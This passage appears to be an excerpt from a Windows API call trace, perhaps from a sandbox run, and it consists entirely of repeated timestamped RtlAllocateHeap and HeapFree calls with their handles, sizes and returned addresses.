lpMsg=0x387fb74) returned 0 [0268.902] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.902] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.902] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.902] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.902] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.902] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.902] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.902] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.902] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.902] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.903] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.903] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.903] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.903] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.903] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.903] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.903] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.903] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.903] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.903] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.903] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.903] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0268.903] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.903] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.903] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.903] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.903] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0268.903] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.903] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.903] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.903] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.903] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.903] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.903] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.903] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.904] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0268.904] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.904] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.904] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.904] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0268.904] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.904] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.904] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.904] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0268.904] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.904] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.904] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.904] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.904] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.904] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.904] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.904] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.904] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.904] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.904] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.904] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0268.904] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.904] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.904] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.904] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0268.904] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.905] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.905] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.905] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.905] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.905] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.905] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.905] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.905] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.905] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.905] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.905] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.905] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.905] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.905] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.905] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.905] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.905] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.905] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.905] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.905] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.905] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.905] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.905] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.905] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.905] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.905] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.905] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.906] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.906] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.906] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.906] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.906] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0268.906] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.906] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.906] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.906] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.906] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.906] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.906] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.906] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.906] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.906] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0268.906] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.906] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.906] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.906] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.906] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0268.906] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.906] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.906] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.906] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0268.906] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.906] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.907] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.907] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.907] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.907] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.907] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.907] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.907] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.907] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.907] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.907] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.907] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0268.907] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.907] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.907] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.907] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.907] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0268.907] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.907] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.907] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.907] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0268.907] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.907] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.907] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.907] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.907] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.908] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.908] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.908] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.908] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.908] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.908] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.908] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.908] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.908] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.908] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.908] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.908] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.908] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.908] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.908] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.908] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.908] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.908] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.908] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.908] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.908] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.908] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.908] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.908] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.908] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.908] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.908] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.909] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0268.909] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.909] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.909] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.909] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.909] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.909] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.909] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.909] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.909] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0268.909] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.909] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.912] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.912] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0268.912] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.912] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.912] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.912] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.912] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.912] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.912] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.912] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.912] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.912] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.912] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.912] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.912] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0268.912] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.912] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.912] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.912] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.912] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0268.912] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.912] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.912] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.912] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0268.912] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.913] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.913] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.913] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.913] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.913] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.913] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.913] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.913] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.913] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.913] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.913] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.913] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.913] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.913] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.913] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.913] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.913] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.913] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.913] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.913] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.913] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.913] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.913] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.913] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.913] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.913] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0268.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0268.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0268.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.914] RtlAllocateHeap (HeapHandle=0x640000, 